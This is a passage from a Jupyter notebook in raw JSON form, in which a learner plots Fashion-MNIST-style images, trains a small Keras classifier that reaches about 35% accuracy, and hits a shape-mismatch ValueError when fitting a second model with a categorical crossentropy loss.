QAoNBACQQgMBMKxFxMURsWjAv0tEHD2Ux4QOGkgPRcSyiNgWEVsiYkNE/HNEHDnUxwUMF6+7Rn4VEX8bEeOH+riQQwPpvfNKKeMlTZf0K0k3DPHxAMPNrmvkFEnvknT1EB9Po4g4YKiPYbiigewhpZTtkr4t6XhJioj3RsT/i4hNEbEiIv584PMj4qMRsTwi1kXEf+/+pHb2EBw6MChKKSsl3S1pbvfXUv/2jToifhQRf7C7bUTEpIj4u4hY271+ro6I/SJidET0R8TcAc89tHv3M63779+KiMXd5z0YEe8Y8NxlEfGZiFgiaStNpI4GsodExFhJvyPp4W5pq6SPSpos6b2S/ktEvL/73OMlfVXSR9S5c5kk6fDBPWJgcHV/vXuupA1vYjM3qHO9HCXpPepcYx8rpeyQ9A+SfnfAcz8s6f5SypqIOEXSNyX9oaQpkr4u6c6IGD3g+b+rzrU6uZTyyps4xhGLBtJ734mIfkmbJJ0j6XpJKqX8qJTyeCnl1VLKEkm3q/OBl6T/LOm7pZRFpZSXJH1WUhn8QwcGxa5rZJGk+yV9PrORiNhfnR/S/rSUsrmUskzSX0n6ve5TbtOvN5ALujVJukTS10spj5RSdpZSbpG0Q9IZA57/lVLKilLKtszx7Qu4Leu995dS7u1+uN8n6f7uHcYsSV+QNFfSKEmjJf3v7mtmSFqxawOllBcjYt3gHjYwaN5fSrl31z8iYnZyO1PVuZaWD6gt12t37/dJGhMRp0t6QdJJkv6x+9gsSRdFxGUDXjtKnWtxlxVCI+5A9pDuTzX/IGmnpLPU+cnnTklHllImSfqapOg+fbWkI3a9NiLGqHNbDewLtnb/f+yA2lvewOv6JL2sTjPYZaaklZJUSnlV0h3q3IVcIOmuUsrm7vNWSLq2lDJ5wP/GllJuH7AtfguwGzSQPSQ63ifpYEk/lzRB0vpSyvaIOE2dD/Qu35Z0XkScGRGjJP2FXmsuwIhWSlmrzjf9CyNi/4j4fUlz3sDrdqrTIK6NiAkRMUvSpyUtHPC029T5NddH9NqvryRpgaRLI+L07rU6rht0mdCj09on0EB677sRsUWdv4FcK+miUsrPJP1XSf8jIjar8zeOO3a9oPv4ZZK+pc7dyGZJa9T5nSywL7hE0p9IWifp7ZIefIOvu0ydO5hn1fmbym3q/HFcklRKeaT7+Ax1El+76v/a3eeN6vwRf6mki9/kOexzohTu0oab7n9Y1S/pmFLKc0N8OABQxR3IMBER50XE2IgYJ+mLkh6XtGxojwoAPBrI8PE+Sau6/ztG0vmF20MAwxi/wgIApHAHAgBI2d1/SMjtCfY2wz3+zDWFvY29prgDAQCk0EAAACk0EABACg0EAJBCAwEApNBAAAApNBAAQAoNBACQQgMBAKTQQAAAKTQQAEDK7mZhAdjLvPzyy9X6gQce2Go7P/nJT6r1a6+91r7mxRdfrNY/8IEPVOvz5s2r1qdOnVqtjx07tlrPcMfq3r9vfOMb1fqtt95q9+HO77rrrtvN0e0duAMBAKTQQAAAKTQQAEAKDQQAkEIDAQCk0EAAAClRSuMKmyy/+QYsXbq0Wndxx76+PrutAw6oJ6vf/e53V+tXXHHFbo7u1+3cudM+tv/++7fa1jDFkrbGM888U61fddVV1foDDzxQrbvPouTjt+4z72K5kydPrtaPPvroVvuVpNWrV1frTz/9dKvnr1y5slo//vjj7b6XLFliH6tx5/fXf/3X1fr06dNbbT+JJW0BAL1FAwEApNBAAAApNBAAQAoNBACQsk+nsLZv316tH3TQQdX6F7/4xWr9lltuqdYvuOCCan3+/Pn2mFatWlWtu4Ft69evr9a///3v2304LqG1l6Wz9pkU1sMPP1ytu/Tfxo0bq3WX/HPporZDGSVp69atrY7JDTqcNGlS63274Yiu7hJjM2fOrNZnzJjRet/Lly+v1l2i06XSXArLDX6UUu8hKSwAQG/RQAAAKTQQAEAKDQQAkEIDAQCkjPgU1iuvvGIfc+mThQsXVusu2eBmBg2Ga665plp383y++tWv2m3t2LGjWh89enT7Axs6IyqF9eUvf9k+9s1vfrNaP/XUU6t1l+TJpKocd031iktIubRTE3fe48aNq9YPPfTQan3t2rV2H/39/dV622WHZ82aVa27JN5LL71kj+mOO+6o1hvmiZHCAgD0Fg0EAJBCAwEApNBAAAApNBAAQMpel8JyxxvRu/DNb/zGb1TrCxYsqNbdKmJtZ21JvZtH5eZt3XTTTfY1s2fPrtYH4z3voWF5UANU30w3++kDH/iA3ZBbzc+9xq2O5xJBY8aMsft2tm3bVq27+UujRo2q1l16yaW8mtKW7vzcMbVdVbGJm/XljsnN1XJJL/c1WrRokT0ml9L70pe+5F5CCgsA0Fs0EABACg0EAJBCAwEApNBAAAApe3ZwzQAuXfTqq69W624mTC+TP3feeWe17o7Vpa2cprSV06vV/1544YVqvWmlss9//vPVeq/eczdrq2kW03777Rs/43zuc5+r1ptmGrkUkVvVrldzmZrmXblUUNN5tN1H2+e7x9wxubSVe75Lkknt02eOm8P19NNPV+tz5syx2/rJT37Squ5SWxJ3IACAJBoIACCFBgIASKGBAABSaCAAgJSeprAyq//1KnWUceONN1brmfTUcONWMPvpT386yEfymszKhnvZHK60X/7yl9W6Wx1P8ikpN1fLrUjoUliZVf56tSLh+PHjq3WXhGqb8mrittX0/a0t9zVySTk3p87N2mpYXdB65plnqnVSWACAnqOBAABSaCAAgBQaCAAghQYCAEihgQAAUlKZOzcAsSnCt2rVqmr9K1/5SrX+5JNPVutu0NnWrVur9aahZRs2bKjW3XmceOKJ1bqLxroo7ZQpU+wxuQjhmjVrqvVp06ZV62650+eff97u+4Mf/GC1/txzz1Xr7jyOOeaYav23f/u3q/V58+bZY3Jx3ZEW73XLzR533HH2NS4K6uruM5GJ6w6VXsZ1eyWznK5botZFsx977LFq3X2tm2K87pgWL15crX/4wx+22+IOBACQQgMBAKTQQAAAKTQQAEAKDQQAkBIuzSJJr776avXBzDKjl1xySbW+aNGiat0tK+sSD27o3CGHHGKPySUh3Pm5fbdNsbgUW9M+XDLMLSHqztul1SQ/RNItj+u+Ri5J4p5/zjnn2GNasGCBfcwY1jGsvr6+6jV1wgknVJ//m7/5m5l9VOsumeM+v24Z1YkTJ9p9b9u2rVpvWra4pldDGYfapk2bqnX3vcdxKT036HDmzJl2W48//ni17r433Hffffaa4g4EAJBCAwEApNBAAAApNBAAQAoNBACQ0hh1aDtX6Ac/+IF9zC3ZedJJJ1Xr27dvr9ZdmmPp0qXV+rp16+wxueRW27laLgnlUkdNy/i6VJyru0TXypUrq/WmVNr69eurdfc5OOqoo6p1l9KZO3dutf69733PHtOPf/zjav20006zrxnOXELKzQ9zS5ZKPrnl9uHm0bmZbU5m9pPjrue2acTB4K7/pvlc7vzcXLLly5dX626p2xkzZlTrTV+jSZMmtdp3E+5AAAApNBAAQAoNBACQQgMBAKTQQAAAKakUlkv+3HTTTXZbO3bsqNbdnCWXFpo8eXK1Pn78+Go9M/vJJRjc893MIHdMTUkSl+hwM4a2bNlSrbukV9O+3Qwwl/Y599xzq3X3nt9zzz2tni9JCxcurNb31hSWSym5lM2xxx7beh9ufta1117bat/HH398td602p1bIc9dI27f7n1y9abPkEtbtp3P5bjUm+STW+48Hn300WrdpfGOPvro3Rzdv+fmcGVWpuQOBACQQgMBAKTQQAAAKTQQAEAKDQQAkNKYwnJppJtvvrladyklSZowYUK17tJCTz/9dLX+zDPPVOsuzeHmVDXt26XMXELKpRrcamRuDo7kZ4C5uVruPT/44IOr9abkyZQpU1rt47rrrqvWn3322Wp99uzZ1bpLyUjSY489Vq2796npMzgc3HDDDdW6S8etXr3absslc9x8JHctuO24z4pLQjZx23Ln7RJBbjtNn6FecdeUS1pJ/nvGE088Ua27r9E73vGOat0lwB544AF7TO7rPX36dPsahzsQAEAKDQQAkEIDAQCk0EAAACk0EABASmMK6957763Wzz///Gr9+eeft9tyqQA362fDhg3VuluZzyWqXHpJ8gkJNwPMbcvN/3FJoaa5PS5l0namjku3NM3CcvPK3Hm4lezcKpPu3B566CF7TGeeeWa1PtzTVs71119frbuv47e+9S27rSVLllTrLrnmUjYuVeVWqGtK8rkEmDs/l/TMzGVqy123bTWlsNwqkC495b5G7vuk+x7tZo9J0h//8R9X62eccYZ9jcMdCAAghQYCAEihgQAAUmggAIAUGggAIIUGAgBIaYzxzps3r93GEku1bt68uVp3w9Hcsqtu+VgXQc1wQxZdFDETLXaRwF4tv+mWxpV8fNnte9KkSdW6GxbpBgO6z4Y0OEPyBpN7zxwXuWzSdhDhxz72sWrdRe+bIqJuUJ97jYu0t/28N32GnLbL5rpjaorlL126tFp379N5551Xrd94443Vettj7TXuQAAAKTQQAEAKDQQAkEIDAQCk0EAAACmNKay2pk2bZh9zCaa2wwDd8rGOS0JJzWmomj096FDyx+uSXm5bLgnVtMSvG1DoztvtY82aNdW6S4A1vR9z5861j+2N2g4JzKRp2r7GDcV02l6DTXqVFmp6X9u+5+757rzdYESp/Wd+6tSpuzm6XzdYaSuHOxAAQAoNBACQQgMBAKTQQAAAKTQQAEBKYwrLLR/rZiatW7fObsulf1ySZ9OmTdW6Sym5WThumVbJn5/j5mq5+Vwuedak7Twq9364825KpbU9P7fssPscuM9A0xwj9znYWw11aqbGLbvq5nY1zSdzc6Fcssld/85gLHXbdt9Nn9+m1GNNr5bZbXqfevkZ5A4EAJBCAwEApNBAAAApNBAAQAoNBACQ0pjCcokgp2m2lEtnuFkxbdNWLlGVmYXV9rxdSsntu2n7blttuXNrmzyT/Nwel/RqmzxpSoxMmTKl1bbQnktVuflrTSvw7ekVNTPcvnu1mp87Z8mvPOhe4xJxbbEiIQBgWKOBAABSaCAAgBQaCAAghQYCAEjp6YqETTNhXPrHpRT6+/urdZeccHOnmpJhbRNPbRNMbWeJNR2Te417vktONZ2ze6/c19UdU9vzHj16tD2mt771rfaxfV2vVjd028nMnXKflbb76GWKqJfnV9P0fc9x59erFFaTXr7n3IEAAFJoIACAFBoIACCFBgIASKGBAABSaCAAgJSexnibuAF7bpCbi+W64YuOi7NK7eN3bWO8LrbaNOCx7bbcMbmoXlOEuO0SvO48XBzQRYibvg5Ng/tQ1zaO6SLzg6FttLiXBmOYovt+5b7v9fX1tdp3L2XeD+5AAAApNBAAQAoNBACQQgMBAKTQQAAAKT1NYW3fvr1nr9myZUu17gb+ZVIbbdNQbVNKTQkwp23aqu122i7XK/n01EEHHVStu6VuXVqlaZjixIkTd3N0eLPctePScU1JyLZfe5fwGYx0Vtt9u8GvTdz74WS+Z7TVy0GV3IEAAFJoIACAFBoIACCFBgIASKGBAABSGv/k33Zp0mnTptltvfLKK9W6m3XkEiAuEeSSBW2TU1L7GVZtk01NiapMSqpX+3YJt6ZlgWvcnJ+2yxFLublh+4pepWnaJpuakkXuOm+71G1bTdtp+z71aqngJu59ctfOcMUdCAAghQYCAEihgQAAUmggAIAUGggAIKUxheXSN25ey+zZs+22XnzxxWp9woQJrZ7v5i+59FLTanfuPFxSydVdiqjt9iWfMms7C8ttpynl1XYOj0tIufcjk6hqe95or22KqGl2mUsXubpLPLWtD4Zezudyr5k+fXrrbQ0l7kAAACk0EABACg0EAJBCAwEApNBAAAApjbEbl5xwaZ3jjz/ebsutYrZu3bpq3aWwVq9eXa23ndsl5eZktdlHJkHk3tu2qSqXGGlKWrnXuPTU2LFjW21nzJgx1bpbrU7yqTvseU1fl7bcZ8Wlkdz13/Yz18tjcvVervA3lCmzDO5AAAApNBAAQAoNBACQQgMBAKTQQAAAKY0prKaZNzVNKayPfOQj1foTTzxRrTfN1arZsmVLtd6UwmqbbHJpJFfPzPNxj7lE3Pbt21ttp2k2WNt5RW5WmkufudUn582bZ4/ppJNOso+hNzZu3FituySUS9NJ/mv88MMPV+ttZz/19/e3er7kz8+lzNqmBSdNmmT3vXbt2t0c3a9bunRpq+cPNe5AAAApNBAAQAoNBACQQgMBAKTQQAAAKTQQAEBK7GbgH+uJYm/jc9vDw7C7ps4777xq3UVKm2K8Z599drXu4rdXX311tT5z5sxqva+vr1pvGmjoBrC617ho8Te+8Y1qvSl6u2TJkmr92GOPrdbbvh+DxF5T3IEAAFJoIACAFBoIACCFBgIASKGBAABSSGFhpCGFBfQWKSwAQG/RQAAAKTQQAEAKDQQAkEIDAQCkNC5pq+GfaAH2NlxTGDG4AwEApNBAAAApNBAAQAoNBACQQgMBAKTQQAAAKf8fdncDZgRWhyEAAAAASUVORK5CYII=\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Plot multiple random images \n", - "import random\n", - "plt.figure(figsize=(7, 7))\n", - "for i in range(4):\n", - " ax = plt.subplot(2, 2, i + 1)\n", - " rand_index = random.choice(range(len(train_data)))\n", - " plt.imshow(train_data[rand_index], cmap=plt.cm.binary)\n", - " plt.title(class_names[train_label[rand_index]])\n", - " plt.axis(False)" - ] - }, - { - "cell_type": "code", - "execution_count": 115, - "id": "178253f6", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(28, 28)" - ] - }, - "execution_count": 115, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "train_data[0].shape" - ] - }, - { - "cell_type": "code", - "execution_count": 116, - "id": "61f95a2b", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 2.2661 - accuracy: 0.1555 - val_loss: 2.0632 - val_accuracy: 0.2044\n", - "Epoch 2/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 2.0316 - accuracy: 0.2126 - val_loss: 2.0153 - val_accuracy: 0.2303\n", - "Epoch 3/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.8209 - accuracy: 0.2686 - val_loss: 1.6860 - val_accuracy: 0.2838\n", - "Epoch 4/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.6398 - accuracy: 0.3085 - val_loss: 1.5805 - val_accuracy: 0.3367\n", - "Epoch 5/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.5717 - accuracy: 0.3385 - val_loss: 1.7618 - val_accuracy: 0.3216\n", - "Epoch 6/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.5520 - accuracy: 0.3442 - val_loss: 1.5352 - val_accuracy: 0.3476\n", - "Epoch 7/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.5555 - accuracy: 0.3437 - val_loss: 1.5493 - val_accuracy: 0.3472\n", - "Epoch 8/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.5583 - accuracy: 0.3454 - val_loss: 1.6269 - val_accuracy: 0.3126\n", - "Epoch 9/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.5308 - accuracy: 0.3486 - val_loss: 1.5913 - val_accuracy: 0.3333\n", - "Epoch 10/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.5364 - accuracy: 0.3493 - val_loss: 1.5094 - val_accuracy: 0.3569\n" - ] - } - ], - "source": [ - "### Making Multi_classification model ###\n", - "# Set random seed\n", - "tf.random.set_seed(42)\n", - "\n", - "# Create the model\n", - "model_11 = tf.keras.Sequential([\n", - " tf.keras.layers.Flatten(input_shape=(28, 28)), \n", - " tf.keras.layers.Dense(4, activation=\"relu\"),\n", - " tf.keras.layers.Dense(10, activation=\"softmax\")\n", - "])\n", - "\n", - "# Compile the model\n", - "model_11.compile(loss=tf.keras.losses.SparseCategoricalCrossentropy(),\n", - " # since our labels are in integer form, we'll use tf.keras.losses.SparseCategoricalCrossentropy(), if our labels were one-hot encoded (e.g. they looked something like [0, 0, 1, 0, 0...]), we use tf.keras.losses.CategoricalCrossentropy().\n", - " optimizer=tf.keras.optimizers.Adam(),\n", - " metrics=[\"accuracy\"])\n", - "\n", - "# Fit the model\n", - "history_mc1 = model_11.fit(train_data,\n", - " train_label,\n", - " epochs=10,\n", - " validation_data=(test_data, test_label)) " - ] - }, - { - "cell_type": "code", - "execution_count": 117, - "id": "be15e80d", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1875/1875 [==============================] - 3s 2ms/step - loss: 1.5013 - accuracy: 0.3581\n" - ] - }, - { - "data": { - "text/plain": [ - "[1.5013209581375122, 0.3580999970436096]" - ] - }, - "execution_count": 117, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model_11.evaluate(train_data,train_label)" - ] - }, - { - "cell_type": "code", - "execution_count": 118, - "id": "17ddd1c6", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/10\n" - ] - }, - { - "ename": "ValueError", - "evalue": "in user code:\n\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\training.py:855 train_function *\n return step_function(self, iterator)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\training.py:845 step_function **\n outputs = model.distribute_strategy.run(run_step, args=(data,))\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\distribute\\distribute_lib.py:1285 run\n return self._extended.call_for_each_replica(fn, args=args, kwargs=kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\distribute\\distribute_lib.py:2833 call_for_each_replica\n return self._call_for_each_replica(fn, args, kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\distribute\\distribute_lib.py:3608 _call_for_each_replica\n return fn(*args, **kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\training.py:838 run_step **\n outputs = model.train_step(data)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\training.py:796 train_step\n loss = self.compiled_loss(\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\compile_utils.py:204 __call__\n loss_value = loss_obj(y_t, y_p, sample_weight=sw)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\losses.py:155 __call__\n losses = call_fn(y_true, y_pred)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\losses.py:259 call **\n return ag_fn(y_true, y_pred, **self._fn_kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\util\\dispatch.py:206 wrapper\n return target(*args, **kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\losses.py:1643 categorical_crossentropy\n return backend.categorical_crossentropy(\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\util\\dispatch.py:206 wrapper\n return target(*args, **kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\backend.py:4862 categorical_crossentropy\n target.shape.assert_is_compatible_with(output.shape)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\framework\\tensor_shape.py:1161 assert_is_compatible_with\n raise ValueError(\"Shapes %s and %s are incompatible\" % (self, other))\n\n ValueError: Shapes (32, 1) and (32, 10) are incompatible\n", - "output_type": "error", - "traceback": [ - "\u001b[1;31m---------------------------------------------------------------------------\u001b[0m", - "\u001b[1;31mValueError\u001b[0m Traceback (most recent call last)", - "\u001b[1;32m\u001b[0m in \u001b[0;36m\u001b[1;34m\u001b[0m\n\u001b[0;32m 16\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 17\u001b[0m \u001b[1;31m# Fit the model\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m---> 18\u001b[1;33m history_mc2 = model_12.fit(train_data,\n\u001b[0m\u001b[0;32m 19\u001b[0m \u001b[0mtrain_label\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 20\u001b[0m \u001b[0mepochs\u001b[0m\u001b[1;33m=\u001b[0m\u001b[1;36m10\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\training.py\u001b[0m in \u001b[0;36mfit\u001b[1;34m(self, x, y, batch_size, epochs, verbose, callbacks, validation_split, validation_data, shuffle, class_weight, sample_weight, initial_epoch, steps_per_epoch, validation_steps, validation_batch_size, validation_freq, max_queue_size, workers, use_multiprocessing)\u001b[0m\n\u001b[0;32m 1181\u001b[0m _r=1):\n\u001b[0;32m 1182\u001b[0m \u001b[0mcallbacks\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mon_train_batch_begin\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mstep\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m-> 1183\u001b[1;33m \u001b[0mtmp_logs\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mtrain_function\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0miterator\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 1184\u001b[0m \u001b[1;32mif\u001b[0m \u001b[0mdata_handler\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mshould_sync\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 1185\u001b[0m \u001b[0mcontext\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0masync_wait\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\eager\\def_function.py\u001b[0m in \u001b[0;36m__call__\u001b[1;34m(self, *args, **kwds)\u001b[0m\n\u001b[0;32m 887\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 888\u001b[0m \u001b[1;32mwith\u001b[0m \u001b[0mOptionalXlaContext\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_jit_compile\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 889\u001b[1;33m \u001b[0mresult\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_call\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m*\u001b[0m\u001b[0margs\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m**\u001b[0m\u001b[0mkwds\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 890\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 891\u001b[0m \u001b[0mnew_tracing_count\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mexperimental_get_tracing_count\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\eager\\def_function.py\u001b[0m in \u001b[0;36m_call\u001b[1;34m(self, *args, **kwds)\u001b[0m\n\u001b[0;32m 931\u001b[0m \u001b[1;31m# This is the first call of __call__, so we have to initialize.\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 932\u001b[0m \u001b[0minitializers\u001b[0m \u001b[1;33m=\u001b[0m \u001b[1;33m[\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 933\u001b[1;33m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_initialize\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0margs\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mkwds\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0madd_initializers_to\u001b[0m\u001b[1;33m=\u001b[0m\u001b[0minitializers\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 934\u001b[0m \u001b[1;32mfinally\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 935\u001b[0m \u001b[1;31m# At this point we know that the initialization is complete (or less\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\eager\\def_function.py\u001b[0m in \u001b[0;36m_initialize\u001b[1;34m(self, args, kwds, add_initializers_to)\u001b[0m\n\u001b[0;32m 761\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_graph_deleter\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mFunctionDeleter\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_lifted_initializer_graph\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 762\u001b[0m self._concrete_stateful_fn = (\n\u001b[1;32m--> 763\u001b[1;33m self._stateful_fn._get_concrete_function_internal_garbage_collected( # pylint: disable=protected-access\n\u001b[0m\u001b[0;32m 764\u001b[0m *args, **kwds))\n\u001b[0;32m 765\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\eager\\function.py\u001b[0m in \u001b[0;36m_get_concrete_function_internal_garbage_collected\u001b[1;34m(self, *args, **kwargs)\u001b[0m\n\u001b[0;32m 3048\u001b[0m \u001b[0margs\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mkwargs\u001b[0m \u001b[1;33m=\u001b[0m \u001b[1;32mNone\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;32mNone\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 3049\u001b[0m \u001b[1;32mwith\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_lock\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m-> 3050\u001b[1;33m \u001b[0mgraph_function\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0m_\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_maybe_define_function\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0margs\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mkwargs\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 3051\u001b[0m \u001b[1;32mreturn\u001b[0m \u001b[0mgraph_function\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 3052\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\eager\\function.py\u001b[0m in \u001b[0;36m_maybe_define_function\u001b[1;34m(self, args, kwargs)\u001b[0m\n\u001b[0;32m 3442\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 3443\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_function_cache\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mmissed\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0madd\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mcall_context_key\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m-> 3444\u001b[1;33m \u001b[0mgraph_function\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_create_graph_function\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0margs\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0mkwargs\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 3445\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_function_cache\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mprimary\u001b[0m\u001b[1;33m[\u001b[0m\u001b[0mcache_key\u001b[0m\u001b[1;33m]\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mgraph_function\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 3446\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n", - 